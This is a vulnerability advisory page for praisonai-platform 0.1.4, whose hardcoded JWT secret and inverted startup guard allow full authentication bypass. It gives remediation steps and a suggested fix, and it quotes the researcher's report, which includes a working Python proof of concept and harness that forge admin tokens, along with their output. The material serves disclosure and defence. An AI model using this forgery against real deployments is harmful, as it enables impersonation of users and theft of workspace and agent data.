GHSA-cwj8-7gp2-ggcw: praisonai-platform: hardcoded JWT secret enables full auth bypass

GHSA-cwj8-7gp2-ggcw CRITICAL
Published June 18, 2026
CISO Take

praisonai-platform v0.1.4 and earlier ship with a publicly-known JWT signing secret (`dev-secret-change-me`) whose startup guard has inverted logic — any deployment where the operator forgets to set `PLATFORM_JWT_SECRET` silently starts with the default secret, because `PLATFORM_ENV` also defaults to `'dev'` and causes the guard to pass unconditionally. With a CVSS of 9.8 Critical and trivial exploitability (the secret is in published source, a working PoC is confirmed), an unauthenticated network attacker can mint a valid Bearer JWT for any user identity and be accepted by every API route protected by `get_current_user`, including workspace management, AI agent configurations, projects, and activity logs. The PraisonAI platform's own activity and labels endpoints expose workspace member IDs to any authenticated session, meaning an attacker can enumerate real user IDs with their forged token and then forge a second token impersonating those users to bypass workspace-level authorization checks. Upgrade immediately to praisonai-platform 0.1.6 and audit all deployment manifests to confirm `PLATFORM_JWT_SECRET` is set to a cryptographically random value of at least 32 bytes.

Sources: GitHub Advisory ATLAS

What is the risk?

Critical. The vulnerability is trivially exploitable by any network-adjacent attacker with no privileges or user interaction required — the secret is public, the PoC is published, and the failure mode (both env vars unset) is the most common new-install scenario. Any praisonai-platform deployment running v0.1.4 or earlier without an explicitly configured `PLATFORM_JWT_SECRET` is fully compromised from a confidentiality and integrity standpoint. The inverted guard polarity is particularly dangerous because it gives operators a false sense of security: the codebase appears to have a production safeguard that in practice never fires on the most common misconfiguration.

How does the attack unfold?

Reconnaissance
Attacker reads the public GHSA advisory or inspects praisonai-platform source on PyPI/GitHub to discover the hardcoded default JWT secret `dev-secret-change-me` and the guard bypass condition.
AML.T0095.000
Credential Forgery
Attacker uses PyJWT with the known secret and HS256 algorithm to sign a token payload containing an arbitrary `sub` (user ID) and `email`, bypassing the broken startup guard that never fires on default deployments.
AML.T0055
Authentication Bypass
Forged Bearer JWT is accepted by `AuthService._verify_token` in `deps.py:get_current_user`, granting the attacker an authenticated session as any chosen user identity across all platform API routes.
AML.T0091.000
Platform Takeover
Attacker enumerates workspace IDs and member UUIDs via activity/labels endpoints, then forges impersonation tokens for legitimate members to access and exfiltrate AI agent configurations, system prompts, and project data.
AML.T0049

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip <= 0.1.4 0.1.6
1 dependents 89% patched ~0d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
9.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

What should I do?

6 steps
  1. Patch immediately

    upgrade to praisonai-platform 0.1.6 which fixes the guard polarity.

  2. Set the secret

    generate a strong secret with python -c "import secrets; print(secrets.token_hex(32))" and set it as PLATFORM_JWT_SECRET in all environments — docker-compose, Kubernetes secrets, .env files, and CI/CD pipelines.

  3. Invalidate existing sessions

    restart the service after setting the new secret to invalidate all JWTs signed with the default.

  4. Audit IaC

    grep all deployment manifests for missing PLATFORM_JWT_SECRET; treat absence as confirmed compromise if running v0.1.4.

  5. Detection

    review API access logs for requests authenticated by tokens with the HS256 signature of dev-secret-change-me; any such token indicates exploitation.

  6. Secrets management

    store the secret in a vault (HashiCorp Vault, AWS Secrets Manager, Kubernetes Secrets with encryption at rest) rather than plain-text env files.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, robustness and cybersecurity Art. 9 - Risk management system
ISO 42001
A.6.1.2 - Information security risk assessment A.9.2 - Access control for AI systems
NIST AI RMF
GOVERN 1.4 - Organizational risk policies for AI
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is GHSA-cwj8-7gp2-ggcw?

praisonai-platform v0.1.4 and earlier ship with a publicly-known JWT signing secret (`dev-secret-change-me`) whose startup guard has inverted logic — any deployment where the operator forgets to set `PLATFORM_JWT_SECRET` silently starts with the default secret, because `PLATFORM_ENV` also defaults to `'dev'` and causes the guard to pass unconditionally. With a CVSS of 9.8 Critical and trivial exploitability (the secret is in published source, a working PoC is confirmed), an unauthenticated network attacker can mint a valid Bearer JWT for any user identity and be accepted by every API route protected by `get_current_user`, including workspace management, AI agent configurations, projects, and activity logs. The PraisonAI platform's own activity and labels endpoints expose workspace member IDs to any authenticated session, meaning an attacker can enumerate real user IDs with their forged token and then forge a second token impersonating those users to bypass workspace-level authorization checks. Upgrade immediately to praisonai-platform 0.1.6 and audit all deployment manifests to confirm `PLATFORM_JWT_SECRET` is set to a cryptographically random value of at least 32 bytes.

Is GHSA-cwj8-7gp2-ggcw actively exploited?

No confirmed active exploitation of GHSA-cwj8-7gp2-ggcw has been reported, but organizations should still patch proactively.

How to fix GHSA-cwj8-7gp2-ggcw?

1. **Patch immediately**: upgrade to praisonai-platform 0.1.6 which fixes the guard polarity. 2. **Set the secret**: generate a strong secret with `python -c "import secrets; print(secrets.token_hex(32))"` and set it as `PLATFORM_JWT_SECRET` in all environments — docker-compose, Kubernetes secrets, .env files, and CI/CD pipelines. 3. **Invalidate existing sessions**: restart the service after setting the new secret to invalidate all JWTs signed with the default. 4. **Audit IaC**: grep all deployment manifests for missing `PLATFORM_JWT_SECRET`; treat absence as confirmed compromise if running v0.1.4. 5. **Detection**: review API access logs for requests authenticated by tokens with the HS256 signature of `dev-secret-change-me`; any such token indicates exploitation. 6. **Secrets management**: store the secret in a vault (HashiCorp Vault, AWS Secrets Manager, Kubernetes Secrets with encryption at rest) rather than plain-text env files.

What systems are affected by GHSA-cwj8-7gp2-ggcw?

This vulnerability affects the following AI/ML architecture patterns: AI agent platforms, multi-tenant agent orchestration, agent frameworks, AI workflow management.

What is the CVSS score for GHSA-cwj8-7gp2-ggcw?

GHSA-cwj8-7gp2-ggcw has a CVSS v3.1 base score of 9.8 (CRITICAL).

What is the AI security impact?

Affected AI Architectures

AI agent platformsmulti-tenant agent orchestrationagent frameworksAI workflow management

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials
AML.T0091.000 Application Access Token

Compliance Controls Affected

EU AI Act: Art. 15, Art. 9
ISO 42001: A.6.1.2, A.9.2
NIST AI RMF: GOVERN 1.4
OWASP LLM Top 10: LLM03:2025

What are the technical details?

Original Advisory

# praisonai-platform: default JWT signing secret `dev-secret-change-me` **Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research **Target:** https://github.com/MervinPraison/PraisonAI --- **Package:** `praisonai-platform` on PyPI **Latest version (and version tested):** `0.1.4`, current as of 2026-06-01. **File:** `praisonai_platform/services/auth_service.py` (sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`). **Weakness:** CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource. --- ## TL;DR `praisonai_platform/services/auth_service.py` lines 25-37: ```python _DEFAULT_SECRET = "dev-secret-change-me" JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET) JWT_ALGORITHM = "HS256" JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600))) if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError( "PLATFORM_JWT_SECRET must be set to a strong random value in production. " "Set PLATFORM_ENV=dev to suppress this check during development." ) ``` The guard at line 33 is meant to catch the "deployed to production with the default secret" failure mode. But it only fires when **both**: - the operator left `PLATFORM_JWT_SECRET` unset (so `JWT_SECRET` is the default literal), **and** - the operator explicitly set `PLATFORM_ENV` to something other than `"dev"`. If the operator left **both** env vars unset — the most common mis-deploy — `PLATFORM_ENV` falls back to `"dev"`, the second leg of the `and` evaluates `False`, and the guard does NOT fire. The server starts up signing every JWT with the public string `'dev-secret-change-me'`. The fix is to invert the polarity: refuse startup when the secret is the default **regardless** of `PLATFORM_ENV`, except when an explicit `PLATFORM_ALLOW_DEV_SECRET=true` (or equivalent) flag is set. That flips "default-allow" to "default-deny", which is what the line-33 comment implies the author wanted. ## Root cause ``` Expected behavior, reading line 33 of auth_service.py: "Good — the framework refuses to start in production with a default-string secret. I'm safe by construction." Actual behavior: - PLATFORM_ENV defaults to 'dev' when unset. - The guard checks PLATFORM_ENV != 'dev', not PLATFORM_ENV == 'production' or "operator explicitly opted in to using the dev secret". - So the "deployed without setting any env var" config — typical for first-pip-install or quick-start docker — sits silently in dev mode with the public secret. Impact: A guard that requires the operator to EXPLICITLY signal "production" cannot catch operators who forgot to signal anything. The forgot-to-signal case is the one the guard was designed to catch. ``` ## Empirical verification `poc/poc.py` imports the **installed** PyPI package (`praisonai-platform==0.1.4`) with both env vars unset: ``` [1] startup guard at auth_service.py:33 status Inputs: JWT_SECRET = 'dev-secret-change-me' _DEFAULT_SECRET = 'dev-secret-change-me' PLATFORM_ENV = 'dev' (default 'dev') -> JWT_SECRET == _DEFAULT_SECRET: True -> PLATFORM_ENV != 'dev': False -> guard fires? False [2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 JWT_ALGORITHM: 'HS256' [3] forge a JWT signed with the live JWT_SECRET forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... [4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token at auth_service.py:139 decoded.sub = admin-user-id-attacker-chose decoded.email= admin@example.com [5] AuthService._verify_token(forged_token) (live method call) identity.id = admin-user-id-attacker-chose identity.email = admin@example.com VERDICT: VULNERABLE EXIT 0 ``` Step [5] is the load-bearing one: the attacker token is decoded by the **same method** the FastAPI dependency `get_current_user` (`praisonai_platform/api/deps.py:28`) calls. The returned `AuthIdentity` carries the attacker-chosen `sub` (user id) and `email`. Every route protected by `Depends(get_current_user)` (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity. PyJWT itself warns the key is 20 bytes — below the RFC 7518 §3.2 minimum of 32 bytes for HS256. ## Impact This is the familiar default-secret shape — a hardcoded fallback used to sign authentication tokens — with the additional twist that this one has a guard the author *intended* to catch the misconfiguration but whose polarity is wrong. Every route in `praisonai_platform.api.app:create_app` is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user. Workspace authorisation (`require_workspace_member` in `deps.py`) then checks the forged user is a member of the requested workspace; if the attacker mints a token with `sub` equal to a known member's id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client — including the attacker's own forged token. ## Anchors `praisonai-platform` 0.1.4, `praisonai_platform/services/auth_service.py` (file sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`): | Line | Code | Meaning | |-------|---------------------------------------------------------------------|---------| | 25 | `_DEFAULT_SECRET = "dev-secret-change-me"` | Public default literal. | | 26 | `JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET)` | Env-var fallback chain. | | 27 | `JWT_ALGORITHM = "HS256"` | HMAC-SHA256 with the default key. | | 33-37 | `if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError(...)` | The asymmetric guard. Defaults `PLATFORM_ENV` to `"dev"`, so the `!= "dev"` check evaluates `False` on the forgot-to-set case. | | 108-118 | `_issue_token(...)` calls `jwt.encode(payload, JWT_SECRET, …)` | Signing site. | | 137-150 | `_verify_token(...)` calls `jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])` | Verification site — accepts attacker-forged tokens. | `praisonai_platform/api/deps.py:28` `get_current_user` calls `AuthService.authenticate({"token": token})` which routes to `_verify_token`. Every router under `praisonai_platform.api.app` mounts handlers behind this dependency. ## Suggested fix Invert the guard polarity: ```python import secrets _DEFAULT_SECRET = "dev-secret-change-me" JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET") JWT_ALGORITHM = "HS256" JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600))) if not JWT_SECRET: # Allow the dev fallback only when the operator EXPLICITLY signals # they understand it. The default posture is fail-closed. if os.environ.get("PLATFORM_ALLOW_DEV_SECRET", "").lower() == "true": JWT_SECRET = _DEFAULT_SECRET else: raise RuntimeError( "PLATFORM_JWT_SECRET is required. " "For local development only, set PLATFORM_ALLOW_DEV_SECRET=true." ) ``` This pattern is borrowed from Django's `SECRET_KEY` first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (`PLATFORM_ALLOW_DEV_SECRET=true`) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default. ## Steps to reproduce 1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI` 2. Run the proof of concept (`poc.py`) against the cloned source. 3. Observe the result shown under *Verified result* below. ## Proof of concept `poc.py` ```python """ PoC: praisonai-platform's default JWT signing key is the public literal 'dev-secret-change-me', and the guard intended to refuse production startup checks the wrong axis — operators who deploy without setting `PLATFORM_ENV` are treated as `dev` and silently get the public secret. Prerequisite: pip install praisonai-platform pyjwt """ import hashlib import inspect import os import sys def main() -> int: # Simulate the realistic "operator pip-installed praisonai-platform # and started uvicorn without setting any env var" deployment. for env_var in ('PLATFORM_JWT_SECRET', 'PLATFORM_ENV'): if env_var in os.environ: del os.environ[env_var] print('=' * 72) print('praisonai-platform — default JWT secret') print('=' * 72) try: from praisonai_platform.services import auth_service except RuntimeError as e: print(f'\nUNEXPECTED — import raised at startup: {e}') return 1 src = inspect.getsourcefile(auth_service) with open(src, 'rb') as f: sha = hashlib.sha256(f.read()).hexdigest() print() print('[1] startup guard at auth_service.py:33 status') print(f' JWT_SECRET = {auth_service.JWT_SECRET!r}') print(f' _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}') print(f" PLATFORM_ENV = {os.environ.get('PLATFORM_ENV', 'dev')!r} (default 'dev')") print(' => Guard does NOT fire on the "operator forgot to set both" failure mode.') print() print('[2] module sha256 + key bindings on the LIVE installed package') print(f' sha256: {sha}') print(f' JWT_ALGORITHM: {auth_service.JWT_ALGORITHM!r}') if auth_service.JWT_SECRET != 'dev-secret-change-me': print('UNEXPECTED — JWT_SECRET is not the public literal.') return 1 import jwt from datetime import datetime, timedelta, timezone now = datetime.now(timezone.utc) forged_payload = { 'sub': 'admin-user-id-attacker-chose', 'email': 'admin@example.com', 'name': 'Spoofed Admin', 'iat': now, 'exp': now + timedelta(seconds=3600), } forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM) print() print('[3] forge a JWT signed with the live JWT_SECRET') print(f' forged head: {forged_token[:70]}...') decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM]) print() print('[4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token') print(f' decoded.sub = {decoded.get("sub")}') print(f' decoded.email= {decoded.get("email")}') if decoded.get('sub') != 'admin-user-id-attacker-chose': print('UNEXPECTED — decoded payload mismatched.') return 1 try: svc = auth_service.AuthService(session=None) identity = svc._verify_token(forged_token) except Exception as e: print(f' (Couldn\'t reach _verify_token: {e!r})') identity = None if identity is not None: print() print('[5] AuthService._verify_token(forged_token) (live method call)') print(f' identity.id = {identity.id}') print(f' identity.email = {identity.email}') print() print("VULNERABLE: praisonai-platform defaults JWT_SECRET to the public") print(" literal 'dev-secret-change-me'. The line-33 guard only") print(" refuses startup when PLATFORM_ENV is explicitly non-'dev'") print(' AND the secret is default — operators who forgot to set') print(' the env var entirely are silently in dev mode.') print('VERDICT: VULNERABLE') return 0 if __name__ == '__main__': sys.exit(main()) ``` ## Verification harness (executed against the cloned repo) This drives the unmodified upstream code rather than a reproduction. ```python import sys, types, importlib.util, os os.environ.pop("PLATFORM_JWT_SECRET", None); os.environ.pop("PLATFORM_ENV", None) # default deploy BASE = os.path.abspath("repos/PraisonAI/src/praisonai-platform") def pkg(name, path=None): m=types.ModuleType(name) if path: m.__path__=[path] sys.modules[name]=m; return m def stub(name, **a): m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m pkg("praisonai_platform", BASE+"/praisonai_platform") pkg("praisonai_platform.services", BASE+"/praisonai_platform/services") pkg("praisonai_platform.db", BASE+"/praisonai_platform/db") stub("praisonai_platform.db.models", Member=type("Member",(),{}), User=type("User",(),{})) stub("sqlalchemy", select=lambda *a,**k:None) sa_async=types.ModuleType("sqlalchemy.ext.asyncio"); sa_async.AsyncSession=type("AsyncSession",(),{}); sys.modules["sqlalchemy.ext.asyncio"]=sa_async; sys.modules["sqlalchemy.ext"]=types.ModuleType("sqlalchemy.ext") stub("passlib"); stub("passlib.context", CryptContext=type("CryptContext",(),{"__init__":lambda s,*a,**k:None,"hash":lambda s,x:x,"verify":lambda s,a,b:a==b})) stub("praisonaiagents") class AuthIdentity: def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name stub("praisonaiagents.auth", AuthIdentity=AuthIdentity) spec=importlib.util.spec_from_file_location("praisonai_platform.services.auth_service", BASE+"/praisonai_platform/services/auth_service.py") mod=importlib.util.module_from_spec(spec); mod.__package__="praisonai_platform.services" sys.modules[spec.name]=mod; spec.loader.exec_module(mod) # REAL auth_service.py print("[*] REAL module JWT_SECRET =", repr(mod.JWT_SECRET), "| _DEFAULT_SECRET =", repr(mod._DEFAULT_SECRET)) AuthService=mod.AuthService svc=AuthService.__new__(AuthService) # bypass DB __init__ FakeUser=type("U",(),{"id":"attacker-id","email":"attacker@evil.test","name":"admin"}) tok=svc._issue_token(FakeUser) # REAL _issue_token (default secret) print("[*] REAL _issue_token ->", tok[:46],"...") ident=svc._verify_token(tok) # REAL _verify_token print("[+] REAL _verify_token ->", {"id":ident.id,"email":ident.email,"name":ident.name}) assert ident and ident.id=="attacker-id" and mod.JWT_SECRET=="dev-secret-change-me" print("[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')") ``` ## Verified result This PoC was executed against the live upstream code; captured output: ``` [*] REAL module JWT_SECRET = 'dev-secret-change-me' | _DEFAULT_SECRET = 'dev-secret-change-me' [*] REAL _issue_token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ... [+] REAL _verify_token -> {'id': 'attacker-id', 'email': 'attacker@evil.test', 'name': 'admin'} [+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev') ``` ## Credit Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Exploitation Scenario

An attacker scans PyPI or GitHub for AI agent frameworks and identifies a target running praisonai-platform. Reading the public advisory or inspecting `auth_service.py`, they note the default secret. They craft a JWT payload with `sub` set to a guessed or known admin user ID and `email` set to an admin address, sign it with `dev-secret-change-me` using HS256, and send it as a Bearer token to `GET /api/workspaces`. The `get_current_user` FastAPI dependency calls `AuthService.authenticate`, which calls `_verify_token`, and the forged token is accepted as proof of identity. The attacker then queries the activity and labels endpoints — both accessible with any authenticated session — to enumerate real workspace IDs and member UUIDs. They forge a second token impersonating a known workspace owner, bypassing the `require_workspace_member` check, and gain read-write access to all AI agent configurations, system prompts, and project data in that workspace.

Weaknesses (CWE)

CWE-1188 — Initialization of a Resource with an Insecure Default: The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
June 18, 2026
Last Modified
June 18, 2026
First Seen
June 18, 2026

Related Vulnerabilities